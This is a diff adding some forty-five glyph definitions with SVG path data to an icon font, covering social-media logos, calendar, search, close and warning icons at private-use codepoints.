+<glyph unicode="&#xf206;" d="M128 486v485q125 -127 330 -127q30 0 59 3q-32 -61 -32 -118q0 -33 13 -63t28.5 -48.5t45.5 -47.5q-18 0 -54.5 -0.5t-55.5 -0.5q-183 0 -334 -83zM128 1599v65q0 106 75 181t181 75h1280q106 0 181 -75t75 -181v-128h-256v256h-128v-256h-256v-128h256v-256h128v256h256 v-1024q0 -106 -75 -181t-181 -75h-507q5 28 5 50q0 143 -46.5 230t-189.5 194q-3 2 -20.5 15t-25 19t-25.5 20t-27.5 22.5t-24 22t-23 23.5t-17 22t-12.5 22.5t-4 20.5q0 52 23 87t99 94q180 141 180 324q0 113 -45 204.5t-128 139.5h160l135 142h-607q-127 0 -241.5 -49 t-194.5 -132zM139 309q57 85 166 137.5t237 51.5q84 -1 158 -26q19 -13 62 -42.5t61 -42t48 -37t44.5 -41.5t29 -41.5t21.5 -49.5q7 -29 7 -66q0 -16 -1 -24h-588q-85 0 -153 50.5t-92 130.5zM228 1307q-21 161 50.5 269.5t194.5 104.5q121 -4 215.5 -118.5t116.5 -277.5 q21 -160 -43 -256t-187 -92q-125 4 -225.5 108t-121.5 262z" />
+<glyph unicode="&#xf207;" d="M256 1553q0 -73 50.5 -122t131.5 -49h2q84 0 135 49t51 122q-1 75 -51 123t-133 48t-134.5 -48.5t-51.5 -122.5zM275 256h330v991h-330v-991zM787 256h329v553q0 54 11 81q20 50 63 85t106 35q58 0 96 -29t54.5 -77.5t16.5 -117.5v-530h329v568q0 112 -28.5 198 t-80 139.5t-120 81t-150.5 27.5q-36 0 -69 -5.5t-58.5 -15t-49 -23t-40 -27t-32.5 -31t-26.5 -31.5t-21.5 -31v141h-329q1 -26 1.5 -138t0.5 -252.5t-0.5 -277.5t-1.5 -230v-93z" />
+<glyph unicode="&#xf208;" d="M128 384v1280q0 106 75 181t181 75h1280q106 0 181 -75t75 -181v-1280q0 -106 -75 -181t-181 -75h-1280q-106 0 -181 75t-75 181zM384 1422q0 -58 40.5 -97.5t105.5 -39.5h1q67 0 108.5 39.5t41.5 97.5q-2 60 -42 98.5t-106 38.5q-67 0 -108 -39t-41 -98zM400 384h263 v793h-263v-793zM809 384h264v443q0 45 8 64q16 40 50.5 68t85.5 28q133 0 133 -179v-424h264v455q0 175 -83.5 266t-220.5 91q-50 0 -90.5 -12t-68.5 -34t-45 -41t-33 -44v112h-264v-793z" />
+<glyph unicode="&#xf209;" d="M171 1260q0 109 35.5 219t110 213t179 182t254 126.5t323.5 47.5q176 0 327.5 -60.5t253.5 -161t160 -231t58 -270.5q0 -246 -85 -443t-241 -309.5t-355 -112.5q-99 0 -186.5 46.5t-121.5 110.5q-73 -290 -89 -347q-34 -123 -127 -270l-149 54q-7 167 22 290l162 688 q-40 81 -40 200q0 139 70.5 232.5t172.5 93.5q83 0 127 -53.5t44 -135.5q0 -51 -18.5 -124t-49 -170t-44.5 -154q-23 -99 37.5 -171t161.5 -72q117 0 209.5 92t142 244.5t49.5 334.5q0 214 -139 349t-387 135q-139 0 -257.5 -49.5t-197 -133t-122.5 -193t-44 -229.5 q0 -147 83 -247q18 -21 21.5 -34t-3.5 -37q-16 -61 -25 -101q-7 -24 -24.5 -32t-39.5 1q-127 51 -192.5 181.5t-65.5 300.5z" />
+<glyph unicode="&#xf210;" d="M0 1024q0 208 81 398t218.5 327t327 218t397.5 81q209 0 398.5 -81t326.5 -218t218 -326.5t81 -398.5t-81 -398.5t-218 -326.5t-326.5 -218t-398.5 -81q-147 0 -290 42q74 116 103 219l72 282q28 -53 99 -90.5t151 -37.5q162 0 288.5 91.5t195.5 251t69 359.5 q0 114 -47 220t-130 187.5t-206.5 130.5t-265.5 49q-141 0 -262 -38.5t-205.5 -103t-145.5 -147.5t-89.5 -172.5t-28.5 -178.5q0 -138 53 -243.5t156 -147.5q18 -8 32.5 -1t18.5 26q2 9 10 41t11 41q5 19 2.5 30t-16.5 28q-68 78 -68 200q0 97 35.5 186t99.5 156.5t160 108 t209 40.5q201 0 313.5 -109.5t112.5 -283.5q0 -148 -40 -271.5t-115 -198t-169 -74.5q-82 0 -131.5 58.5t-30.5 138.5q11 46 35.5 125t39.5 138t15 101q0 66 -35.5 109.5t-102.5 43.5q-82 0 -139.5 -76t-57.5 -189q0 -43 8 -83.5t16 -59.5l9 -19q-113 -475 -132 -558 q-24 -97 -18 -235q-275 120 -444 374t-169 564z" />
+<glyph unicode="&#xf211;" d="M160 1024q0 -172 122 -294t294 -122t294 122t122 294t-122 294t-294 122t-294 -122t-122 -294zM1056 1024q0 -172 122 -294t294 -122t294 122t122 294t-122 294t-294 122t-294 -122t-122 -294z" />
+<glyph unicode="&#xf212;" d="M128 1379l84 -108q121 84 141 84q92 0 173 -287l144 -525q108 -287 265 -287q253 0 619 471q353 451 365 710q16 347 -260 355q-373 12 -505 -417q69 29 133 29q136 0 120 -152q-8 -92 -120 -268q-113 -176 -169 -176q-73 0 -133 271q-20 79 -72 407q-49 303 -258 284 q-89 -8 -265 -160q-127 -113 -262 -231z" />
+<glyph unicode="&#xf213;" d="M128 768v512q0 159 112.5 271.5t271.5 112.5h1024q159 0 271.5 -112.5t112.5 -271.5v-512q0 -159 -112.5 -271.5t-271.5 -112.5h-1024q-159 0 -271.5 112.5t-112.5 271.5zM768 640l640 384l-640 384v-768z" />
+<glyph unicode="&#xf214;" d="M472 1186h198v-629q0 -121 26 -187q26 -65 92 -122t161 -89q93 -31 218 -31q110 0 201 22q88 20 208 76v282q-134 -88 -271 -88q-76 0 -136 36q-44 25 -61 70q-17 46 -17 200v460h426v281h-426v453h-255q-17 -139 -62 -228q-48 -93 -121 -154q-74 -64 -181 -99v-253z" />
+<glyph unicode="&#xf215;" d="M128 384v1280q0 106 75 181t181 75h1280q106 0 181 -75t75 -181v-1280q0 -106 -75 -181t-181 -75h-1280q-106 0 -181 75t-75 181zM256 384q0 -53 37.5 -90.5t90.5 -37.5h1280q53 0 90.5 37.5t37.5 90.5v768h-272q16 -66 16 -128q0 -212 -150 -362t-362 -150t-362 150 t-150 362q0 62 16 128h-272v-768zM640 1024q0 -159 112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5t-112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5zM1408 1536q0 -53 37.5 -90.5t90.5 -37.5h128q53 0 90.5 37.5t37.5 90.5v128q0 53 -37.5 90.5t-90.5 37.5 h-128q-53 0 -90.5 -37.5t-37.5 -90.5v-128z" />
+<glyph unicode="&#xf216;" d="M256 790v467q0 31 29 55l702 467q17 11 37 11t37 -11l702 -467q29 -24 29 -55v-467q0 -32 -29 -54l-702 -468q-17 -11 -37 -11q-18 0 -37 11l-702 468q-29 22 -29 54zM388 914l165 110l-165 110v-220zM441 790l517 -344v308l-286 191zM441 1257l231 -154l286 191v307z M791 1024l233 -156l234 156l-234 156zM1090 446l517 344l-231 155l-286 -191v-308zM1090 1294l286 -191l231 154l-517 344v-307zM1495 1024l165 -110v220z" />
+<glyph unicode="&#xf217;" d="M128 1024q0 182 71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348zM208 1024q0 -221 109.5 -409t297.5 -297.5t409 -109.5q236 0 432 123.5t298 327.5q59 136 59 266 q0 117 -43.5 221.5t-118.5 182.5t-175.5 131t-215.5 73q116 -48 204 -145t127 -218q54 -151 17.5 -320t-150.5 -289q-111 -123 -276 -179t-332 -27q-168 27 -307 138t-210 270q-74 156 -67.5 338.5t93.5 335.5q88 155 238.5 260t328.5 135q2 0 35 6q-208 -16 -380.5 -128 t-272.5 -293.5t-100 -392.5zM359 998q17 -148 100 -275.5t207 -200.5q120 -71 264 -78.5t267 49.5q-76 -21 -148 -21q-149 0 -275.5 74t-200.5 201t-74 276q0 214 146 373l3 3l14 14l1 1q98 114 235 178t293 64q163 0 306 -70t241 -193q-36 57 -70 96q-104 126 -250 200.5 t-305 80.5q-157 7 -306.5 -51.5t-258.5 -169.5q-109 -107 -159 -254.5t-30 -296.5zM612 1025q8 -119 85 -217t186 -128q110 -33 221.5 8.5t170.5 134.5q61 91 50 204t-86 187q-70 77 -179.5 87t-188.5 -50q-85 -62 -105 -157q-21 -98 30 -182q50 -84 142 -108q92 -23 172 26 q38 23 64 58.5t34 76.5q17 88 -34 159q-52 72 -136 77q-83 6 -142 -54q-57 -55 -45 -138q6 -37 27.5 -68.5t52.5 -47.5q40 -21 87 -16q-46 1 -82 29t-49 71l-2 3q-14 30 -9.5 67t25.5 66q22 30 56.5 46.5t72.5 14.5t73.5 -23.5t54.5 -55.5q46 -76 8 -158 q-18 -39 -53.5 -66.5t-78.5 -35.5q-43 -9 -88.5 3.5t-78.5 43.5q-74 68 -68 169q2 65 45 118.5t109.5 77t132.5 5.5q68 -16 118.5 -70.5t65 -124.5t-9.5 -144q-37 -107 -150 -158.5t-224 -8.5q-114 43 -170 158q-55 117 -17 238q35 121 152 191t246 47q131 -19 223 -128 t95 -246q6 -142 -81 -257q-86 -115 -225 -157q-114 -35 -234 -7q83 -34 174 -34q195 0 333.5 138.5t138.5 333.5v2q-10 107 -63.5 202.5t-137.5 157.5q-102 77 -236 87t-243 -49q-116 -62 -177 -167q-61 -107 -52 -231z" />
+<glyph unicode="&#xf218;" d="M128 464q0 -66 32 -125.5t92.5 -107t159 -75.5t222.5 -28q117 0 218.5 25t174 68t124 99.5t76.5 120.5t25 131q0 40 -6.5 74.5t-22.5 65t-30.5 53t-41.5 50t-45 43t-51 44.5l-85 66q-19 15 -28.5 24.5t-21 31t-11.5 45.5t12 47.5t21.5 34.5t32.5 33q37 29 59 48t52 52 t46 64t28 75.5t12 94.5q0 43 -8 82t-23.5 70.5t-30.5 55.5t-38 47.5t-35 34.5t-32 27h146l151 85h-485q-264 0 -421 -129q-73 -64 -111.5 -147.5t-38.5 -167.5q0 -56 16 -109.5t49.5 -100.5t79.5 -82.5t109 -56.5t136 -21q19 0 75 5q0 -2 -4 -10.5t-4.5 -10.5t-3.5 -9.5 t-4 -11l-3 -10.5t-2.5 -12.5t-1 -13t-0.5 -14.5q0 -26 5 -48t18.5 -45t20.5 -32.5t26 -34.5q-61 -4 -98 -7.5t-107 -14.5t-131.5 -32.5t-112.5 -53.5q-50 -29 -86.5 -66.5t-56.5 -76.5t-29 -74.5t-9 -69.5zM335 514q0 47 17 87.5t38.5 64.5t54 45t50.5 28.5t42 16.5 q35 11 76.5 19.5t77.5 12t58.5 5t34.5 1.5q35 0 54 -3q51 -36 82 -59t63.5 -50.5t50.5 -48.5t33.5 -46t21.5 -50.5t6 -55.5q0 -113 -91 -183.5t-255 -70.5q-187 0 -300.5 80t-113.5 207zM453 1591q0 110 51 174q28 35 73.5 56t91.5 21q56 0 105.5 -28.5t83.5 -74.5 t59 -103.5t36.5 -115.5t11.5 -110q0 -113 -59 -172q-18 -19 -44 -33.5t-56.5 -23.5t-58.5 -9q-58 0 -108 28.5t-83.5 73.5t-57.5 101.5t-34.5 111.5t-10.5 104zM1408 1024v128h256v256h128v-256h256v-128h-256v-256h-128v256h-256z" />
+<glyph unicode="&#xf219;" d="M134.5 1267.5q5.5 80.5 41 179.5t102.5 191q70 78 153.5 135t167 86.5t172 45.5t169 15t156.5 -8t137.5 -21t107.5 -26.5t72 -22.5l25 -9q12 -5 32 -14.5t74.5 -45.5t101 -78.5t97 -114.5t78 -153t27.5 -194.5t-40 -238.5q-43 -89 -97 -157.5t-109.5 -110t-115.5 -69 t-115.5 -37t-107.5 -12t-95.5 4t-76 13t-49.5 13.5l-18 6v-277q-1 -3 -2 -9t-6.5 -23t-14 -34t-24.5 -39.5t-36 -42t-51.5 -39.5t-68.5 -33q-52 -19 -107 -20t-97 11.5t-76.5 27.5t-53.5 27l-18 13v280q33 -34 67 -55.5t67.5 -28.5t61.5 11t44 63v946h312v-538l65 -13 q206 -32 329 60q105 78 128 243q2 76 -15.5 141t-49 110.5t-72.5 82.5t-86.5 59.5t-91.5 39t-87.5 24t-73.5 11.5t-52 5h-19l-66 -2q-217 -16 -359 -141q-57 -50 -97 -115q-27 -45 -39.5 -93t-11 -88t10 -78.5t22 -67.5t25.5 -51t21 -33l9 -12l-225 -201q-7 9 -18.5 25 t-40.5 68.5t-49.5 107.5t-34.5 137.5t-8.5 163z" />
+<glyph unicode="&#xf220;" d="M141 1431q0 133 65.5 245.5t178 178t245.5 65.5q141 0 260 -75q69 12 144 12q171 0 327 -66.5t269 -179.5t179.5 -269t66.5 -327q0 -96 -19 -181q51 -106 50 -217q0 -133 -65.5 -245.5t-178 -178t-244.5 -65.5q-123 0 -231 58q-79 -14 -155 -14q-171 0 -327 67t-269 180 t-179.5 269t-66.5 327q0 86 17 169q-67 116 -67 247zM537 775q0 -75 54 -153q52 -76 139 -123q119 -63 302 -63q150 0 263 46q111 46 171 130q59 85 59 188q0 88 -34 149q-35 62 -96 100q-58 39 -143 66q-77 25 -187 49q-89 20 -116 28q-35 9 -68 27q-33 15 -50 38 q-17 20 -17 49q0 46 52 80q54 36 146 36q97 0 141 -32q43 -32 75 -94q30 -48 51 -67q25 -22 72 -22q53 0 87 36q34 35 34 81t-25 96q-24 47 -82 92q-57 45 -139 70q-86 26 -197 26q-139 0 -247 -40q-107 -39 -164 -113q-57 -73 -57 -170q0 -102 55 -170q52 -65 144 -105 q95 -40 221 -66q93 -20 154 -38q57 -19 90 -50q33 -30 33 -80q0 -64 -62 -105q-65 -44 -170 -44q-78 0 -123 22q-47 22 -70 54q-27 34 -49 86q-21 49 -49 72q-32 26 -75 26q-52 0 -87 -33q-36 -33 -36 -79z" />
+<glyph unicode="&#xf221;" d="M384 384v640h192q49 0 104 47t103.5 127.5t80.5 204.5t32 261q0 5 0.5 13.5t4 31t9.5 39t19 30.5t31 14q33 0 77.5 -42t79.5 -119t35 -159q0 -85 -8 -165t-16 -117l-8 -38h416q53 0 90.5 -37.5t37.5 -90.5q0 -41 -24 -74t-62 -46q22 -33 22 -72q0 -41 -24 -74t-62 -46 q22 -33 22 -72q0 -53 -37.5 -90.5t-90.5 -37.5h-64q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5h-448q-65 0 -123 20t-93.5 44t-80.5 44t-87 20h-128z" />
+<glyph unicode="&#xf222;" d="M205 1168q0 83 59 142t142 59q100 0 160 -83q183 97 412 106l92 457q5 22 23 33q18 12 39 7l313 -72q24 41 65.5 65.5t89.5 24.5q74 0 126.5 -52.5t52.5 -126.5t-52.5 -126.5t-126.5 -52.5q-71 0 -122 48.5t-56 119.5l-262 60l-77 -386q222 -12 397 -108q60 86 163 86 q83 0 141.5 -59t58.5 -142q0 -55 -28 -100.5t-74 -72.5q14 -50 14 -99q0 -135 -98.5 -250t-267.5 -181.5t-368 -66.5t-368.5 66.5t-268 181t-98.5 249.5q0 50 16 104q-44 27 -70.5 71.5t-26.5 97.5zM307 1168q0 -47 40 -75q47 75 132 137q-29 36 -73 36q-41 0 -70 -28.5 t-29 -69.5zM388 896q0 -107 85 -198t230.5 -144t317.5 -53q171 0 316.5 53t230.5 143.5t85 197.5q0 108 -85 199t-230.5 144t-316.5 53q-172 0 -317.5 -53t-230.5 -144t-85 -198zM672 982q0 46 32.5 79t78.5 33q47 0 79.5 -33t32.5 -79t-33 -79t-79 -33t-78.5 33t-32.5 79z M737 739.5q0 21.5 15 36.5t36 15t36 -15q56 -56 199 -56q145 0 201 56q15 15 36 15t36 -15t15 -36.5t-15 -36.5q-86 -86 -271 -86q-187 0 -273 86q-15 15 -15 36.5zM1153 982q0 46 32.5 79t79.5 33t79.5 -33t32.5 -79t-33 -79t-79 -33t-79 33t-33 79zM1523 1728 q0 -32 22.5 -54.5t54.5 -22.5t54.5 22.5t22.5 54.5t-22.5 54.5t-54.5 22.5t-54.5 -22.5t-22.5 -54.5zM1567 1227q83 -61 131 -138q43 31 43 79q0 40 -28.5 69t-69.5 29q-45 0 -76 -39z" />
+<glyph unicode="&#xf223;" d="M256 849v209h263v-206q0 -33 23.5 -56.5t57.5 -23.5t57.5 23.5t23.5 56.5v487q5 136 104.5 230.5t238.5 94.5t238.5 -95.5t104.5 -231.5v-107l-157 -45l-105 48v92q0 34 -23.5 57t-57.5 23t-57.5 -23t-23.5 -57l-1 -481q-1 -138 -101.5 -235t-241.5 -97q-142 0 -242.5 99 t-100.5 238zM1105 846v210l105 -48l157 46v-212q0 -33 23.5 -56.5t57.5 -23.5t57.5 23.5t23.5 56.5v216h263v-209q0 -139 -100.5 -238t-242.5 -99t-242 97.5t-102 236.5z" />
+<glyph unicode="&#xf224;" d="M256 1152v384q0 106 75 181t181 75h1024q106 0 181 -75t75 -181v-384q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5zM512 1281q0 -53 38 -91l362 -362l4 4q37 -64 108 -64t108 64l5 -4l362 362q37 38 37 91t-37 90t-91 37 q-53 0 -90 -37l-294 -294l-293 294q-37 37 -91 37t-90 -37q-38 -37 -38 -90z" />
+<glyph unicode="&#xf225;" d="M128 930l365 291l531 -328l-369 -308zM128 1513l527 345l369 -308l-531 -329zM497 508v115l158 -103l370 307l370 -307l158 103v-115l-528 -317zM1024 893l532 328l364 -291l-527 -345zM1024 1550l369 308l527 -345l-364 -292z" />
+<glyph unicode="&#xf300;" d="M256 896v384q0 106 75 181t181 75h1024q106 0 181 -75t75 -181v-384q0 -106 -75 -181t-181 -75h-448l-448 -448v448h-128q-106 0 -181 75t-75 181z" />
+<glyph unicode="&#xf301;" d="M384 512v1024h384l64 -128h448v-128h-640l-128 -256h128l64 128h960l-256 -640h-1024z" />
+<glyph unicode="&#xf302;" d="M256 768l768 768h512v-512l-768 -768zM1152 1280q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5z" />
+<glyph unicode="&#xf303;" d="M256 1088q0 143 55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5t-55.5 -273.5t-150 -225t-225 -150t-273.5 -55.5t-273.5 55.5t-225 150t-150 225t-55.5 273.5zM384 1088q0 -117 45.5 -223.5t123 -184t184 -123t223.5 -45.5 t223.5 45.5t184 123t123 184t45.5 223.5t-45.5 223.5t-123 184t-184 123t-223.5 45.5t-223.5 -45.5t-184 -123t-123 -184t-45.5 -223.5zM896 1062v474h128v-421l298 -298l-90 -91z" />
+<glyph unicode="&#xf304;" d="M512 384v256q0 159 112.5 271.5t271.5 112.5h256q159 0 271.5 -112.5t112.5 -271.5v-256h-1024zM768 1408q0 106 75 181t181 75t181 -75t75 -181t-75 -181t-181 -75t-181 75t-75 181z" />
+<glyph unicode="&#xf305;" d="M256 384v1280h256v128h128v-128h640v128h128v-128h256v-1280h-1408zM384 640q0 -53 37.5 -90.5t90.5 -37.5h896q53 0 90.5 37.5t37.5 90.5v640q0 53 -37.5 90.5t-90.5 37.5h-896q-53 0 -90.5 -37.5t-37.5 -90.5v-640zM768 1216q0 26 19 45t45 19h128q26 0 45 -19t19 -45 v-512q0 -26 -19 -45t-45 -19t-45 19t-19 45v448h-64q-26 0 -45 19t-19 45z" />
+<glyph unicode="&#xf306;" d="M256 384v1280h256v128h128v-128h640v128h128v-128h256v-1280h-1408zM384 640q0 -53 37.5 -90.5t90.5 -37.5h896q53 0 90.5 37.5t37.5 90.5v640q0 53 -37.5 90.5t-90.5 37.5h-896q-53 0 -90.5 -37.5t-37.5 -90.5v-640zM768 1216q0 26 19 45t45 19h256h2h1h3 q22 -2 38.5 -18t19.5 -39v-2v-2v-1v-2q0 -5 -2 -15l-128 -512q-6 -26 -28.5 -40t-48.5 -7q-26 6 -40 28.5t-7 48.5l108 433h-174q-26 0 -45 19t-19 45z" />
+<glyph unicode="&#xf307;" d="M256 384v1280h256v128h128v-128h640v128h128v-128h256v-1280h-1408zM384 640q0 -53 37.5 -90.5t90.5 -37.5h896q53 0 90.5 37.5t37.5 90.5v640q0 53 -37.5 90.5t-90.5 37.5h-896q-53 0 -90.5 -37.5t-37.5 -90.5v-640zM512 640v128h128v-128h-128zM512 896v128h128v-128 h-128zM768 640v128h128v-128h-128zM768 896v128h128v-128h-128zM768 1152v128h128v-128h-128zM1024 640v128h128v-128h-128zM1024 896v128h128v-128h-128zM1024 1152v128h128v-128h-128zM1280 896v128h128v-128h-128zM1280 1152v128h128v-128h-128z" />
+<glyph unicode="&#xf308;" d="M342 342q12 45 22 71t38 66.5t76 88.5l395 395l-227 227l181 181q37 -37 90.5 -37t91.5 37l181 181q38 38 38 91t-38 90l181 181l543 -543l-181 -181q-37 38 -90 38t-91 -38l-181 -181q-37 -37 -37 -90t37 -91l-181 -181l-227 226l-395 -395q-68 -68 -113.5 -93 t-112.5 -43z" />
+<glyph unicode="&#xf400;" d="M256 1216q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5q0 -184 -111 -337l495 -495l-128 -128l-495 495q-153 -111 -337 -111q-117 0 -223.5 45.5t-184 123t-123 184t-45.5 223.5zM384 1216q0 -185 131.5 -316.5 t316.5 -131.5q186 0 317 131.5t131 316.5t-131 316.5t-317 131.5q-185 0 -316.5 -131.5t-131.5 -316.5z" />
+<glyph unicode="&#xf401;" d="M256 1216q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5q0 -184 -111 -337l495 -495l-128 -128l-495 495q-153 -111 -337 -111q-117 0 -223.5 45.5t-184 123t-123 184t-45.5 223.5zM384 1216q0 -185 131.5 -316.5 t316.5 -131.5q186 0 317 131.5t131 316.5t-131 316.5t-317 131.5q-185 0 -316.5 -131.5t-131.5 -316.5zM512 1152v128h640v-128h-640z" />
+<glyph unicode="&#xf402;" d="M256 1216q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5q0 -184 -111 -337l495 -495l-128 -128l-495 495q-153 -111 -337 -111q-117 0 -223.5 45.5t-184 123t-123 184t-45.5 223.5zM384 1216q0 -185 131.5 -316.5 t316.5 -131.5q186 0 317 131.5t131 316.5t-131 316.5t-317 131.5q-185 0 -316.5 -131.5t-131.5 -316.5zM512 1152v128h256v256h128v-256h256v-128h-256v-256h-128v256h-256z" />
+<glyph unicode="&#xf403;" d="M0 1024l506 506q101 103 234.5 160.5t283.5 57.5t283.5 -57.5t233.5 -159.5l507 -507l-506 -507q-101 -103 -234.5 -160t-283.5 -57t-283.5 57.5t-233.5 160.5zM272 1024l370 -371q77 -78 175.5 -119.5t206.5 -41.5t206 41.5t174 118.5l373 372l-371 371 q-158 161 -382 161q-108 0 -206.5 -41t-173.5 -119zM640 1024q0 159 112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5t-112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5zM1024 1152q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5 t-90.5 -37.5t-37.5 -90.5z" />
+<glyph unicode="&#xf404;" d="M0 1024l506 506q101 103 234.5 160.5t283.5 57.5q193 0 358 -95l-143 -143q-103 46 -215 46q-108 0 -206.5 -41t-173.5 -119l-372 -372l240 -240l-136 -136zM339 429l90 -90l1280 1280l-90 90zM640 1024q0 159 112.5 271.5t271.5 112.5q44 0 98 -14l-468 -468 q-14 54 -14 98zM666 395l143 143q103 -46 215 -46q108 0 206 41.5t174 118.5l373 372l-241 241l136 135l376 -376l-506 -507q-101 -103 -234.5 -160t-283.5 -57q-193 0 -358 95zM926 654l468 468q14 -54 14 -98q0 -159 -112.5 -271.5t-271.5 -112.5q-44 0 -98 14z" />
+<glyph unicode="&#xf405;" d="M640 768l320 320l-320 320l128 128l320 -320l320 320l128 -128l-320 -320l320 -320l-128 -128l-320 320l-320 -320z" />
+<glyph unicode="&#xf406;" d="M128 256l832 832l-832 832l128 128l832 -832l832 832l128 -128l-832 -832l832 -832l-128 -128l-832 832l-832 -832z" />
+<glyph unicode="&#xf407;" d="M384 1280v128l256 128q0 53 37.5 90.5t90.5 37.5h384q53 0 90.5 -37.5t37.5 -90.5l256 -128v-128h-1152zM512 512v704h128v-704h128v704h128v-704h128v704h128v-704h128v704h128v-704q0 -53 -37.5 -90.5t-90.5 -37.5h-640q-53 0 -90.5 37.5t-37.5 90.5zM768 1472 q0 -26 19 -45t45 -19h256q26 0 45 19t19 45t-19 45t-45 19h-256q-26 0 -45 -19t-19 -45z" />
+<glyph unicode="&#xf408;" d="M256 1151l476 -330l-183 -535l475 332l475 -332l-183 535l476 330l-587 -1l-181 535l-180 -535z" />
+<glyph unicode="&#xf409;" d="M384 1152l640 512l640 -512l-128 -128v-512h-1024v512zM896 576h256v448h-256v-448z" />
+<glyph unicode="&#xf410;" d="M256 512v704l768 -384l768 384v-704h-1536zM256 1408v128h1536v-128l-768 -384z" />
+<glyph unicode="&#xf411;" d="M384 384v448l896 896l448 -448l-896 -896h-448zM512 768l256 -256l128 128l-256 256zM685 941l96 -96l595 595l-96 96zM845 781l96 -96l595 595l-96 96z" />
+<glyph unicode="&#xf412;" d="M256 640v704l384 384v-704h640v448l640 -640l-640 -640v448h-1024z" />
+<glyph unicode="&#xf413;" d="M256 448q0 -80 56 -136t136 -56t136 56t56 136t-56 136t-136 56t-136 -56t-56 -136zM256 1024v256q209 0 398.5 -81t326.5 -218t218 -326.5t81 -398.5h-256q0 209 -103 385.5t-279.5 279.5t-385.5 103zM256 1536v256q209 0 408 -55t367.5 -154t310.5 -241t241 -310.5 t154 -367.5t55 -408h-256q0 260 -101.5 497t-273 408.5t-408.5 273t-497 101.5z" />
+<glyph unicode="&#xf414;" d="M21 358q-57 102 31 244l760 1237q57 93 134.5 126.5t155 0t135.5 -126.5l759 -1237q88 -142 31 -244t-224 -102h-1557q-168 0 -225 102zM883 1536l51 -640h179l52 640h-282zM896 640q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5 t-37.5 -90.5z" />
+<glyph unicode="&#xf415;" d="M128 1024v256h310q75 172 233.5 278t352.5 106q130 0 246.5 -50t204.5 -139q37 -37 37 -90t-37 -91t-90 -38t-91 38q-116 114 -270 114q-159 0 -271.5 -112.5t-112.5 -271.5h-512zM536 665q0 53 38 90t91 37t90 -37q113 -115 269 -115q159 0 271.5 112.5t112.5 271.5h512 v-256h-310q-75 -172 -233.5 -278t-352.5 -106q-130 0 -246 50t-205 139l1 1q-38 38 -38 91zM832 1024q0 80 56 136t136 56t136 -56t56 -136t-56 -136t-136 -56t-136 56t-56 136z" />
+<glyph unicode="&#xf416;" d="M512 832v320h128v-320q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5t93.5 226.5v640q0 80 -56 136t-136 56t-136 -56t-56 -136v-512q0 -26 19 -45t45 -19t45 19t19 45v452h128v-452q0 -80 -56 -136t-136 -56t-136 56t-56 136v512q0 133 93.5 226.5t226.5 93.5t226.5 -93.5 t93.5 -226.5v-640q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5z" />
+<glyph unicode="&#xf417;" d="M384 1216q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5t-44.5 -222.5t-124.5 -185.5l-407 -406l-407 406q-80 80 -124.5 185.5t-44.5 222.5zM640 1216q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5t93.5 226.5t-93.5 226.5 t-226.5 93.5t-226.5 -93.5t-93.5 -226.5z" />
+<glyph unicode="&#xf418;" d="M608 1056l128 128l224 -192l448 512l128 -96l-512 -768h-128z" />
+<glyph unicode="&#xf419;" d="M0 256v256h2048v-256h-2048zM0 896v256h2048v-256h-2048zM0 1536v256h2048v-256h-2048z" />
+<glyph unicode="&#xf420;" d="M256 1024q0 155 60 294.5t167 246.5l-227 227h640v-640l-232 232q-72 -71 -112 -163.5t-40 -196.5q0 -176 108.5 -313.5t275.5 -180.5v-262q-180 30 -326 137t-230 269.5t-84 349.5zM1152 256v640l19 -19l213 -213q71 71 111.5 164t40.5 196q0 176 -108.5 313.5 t-275.5 180.5v263q180 -31 326 -137.5t230 -269.5t84 -350q0 -155 -60 -294.5t-167 -246.5l227 -227h-640z" />
+<glyph unicode="&#xf421;" d="M384 896v256h1152v-256h-1152z" />
+<glyph unicode="&#xf422;" d="M384 512v1024h1152v-1024h-1152zM512 640h896v640h-896v-640z" />
+<glyph unicode="&#xf423;" d="M83 832l373 671l112 -62l-267 -481h403v-384h-128v256h-493zM768 1024q0 87 43 160.5t116.5 116.5t160.5 43t160.5 -43t116.5 -116.5t43 -160.5t-43 -160.5t-116.5 -116.5t-160.5 -43t-160.5 43t-116.5 116.5t-43 160.5zM896 1024q0 -79 56.5 -135.5t135.5 -56.5 t135.5 56.5t56.5 135.5t-56.5 135.5t-135.5 56.5t-135.5 -56.5t-56.5 -135.5zM1427 832l373 671l112 -62l-267 -481h403v-384h-128v256h-493z" />
+<glyph unicode="&#xf424;" d="M256 640v768l384 384h768l384 -384v-768l-384 -384h-768zM883 1536l51 -640h179l52 640h-282zM896 640q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5z" />
